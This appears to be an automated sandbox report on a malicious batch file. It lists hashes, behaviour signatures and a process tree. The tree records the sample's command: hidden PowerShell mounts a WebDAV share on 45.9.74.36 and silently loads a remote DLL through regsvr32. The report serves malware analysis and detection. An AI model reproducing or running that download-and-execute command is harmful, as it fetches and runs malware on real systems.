Analysis

  • max time kernel
    100s
  • max time network
    20s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    22-07-2024 17:15

General

  • Target

    2275293512333614329.bat

  • Size

    11KB

  • MD5

    a82eb48a5c3cc555e3a19e1fb1be2bb8

  • SHA1

    f832a6d4936583d1027f0b699927118fcab3bdbe

  • SHA256

    89a339301049697f0294c840b26e4afc91b66f4fa47dbffb13827eee7b501b39

  • SHA512

    bdacf06016e401e744dde2aa7721fc338fd26512c06895be3d250c177426a296b146fde23802eac1f32c8145f24720bd3302fb37aeae845170fd7f5e8a15ba3c

  • SSDEEP

    192:PZoJm9vrNLq7PoS9+LEOTAoeH/co/f7bqkiR8PEV9khQsOxlolsz9n1twfgJwPiJ:PZCm9T1g7Oukddxml03wIJWuiPw

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\2275293512333614329.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2464
    • C:\Program Files\Windows NT\Accessories\wordpad.exe
      "C:\Program Files\Windows NT\Accessories\wordpad.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      PID:2964
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\5108679330208.dll
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2388
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:2264
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\5108679330208.dll
          3⤵
            PID:2808

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/2388-23-0x000000001B2D0000-0x000000001B5B2000-memory.dmp

        Filesize

        2.9MB

      • memory/2388-24-0x00000000025A0000-0x00000000025A8000-memory.dmp

        Filesize

        32KB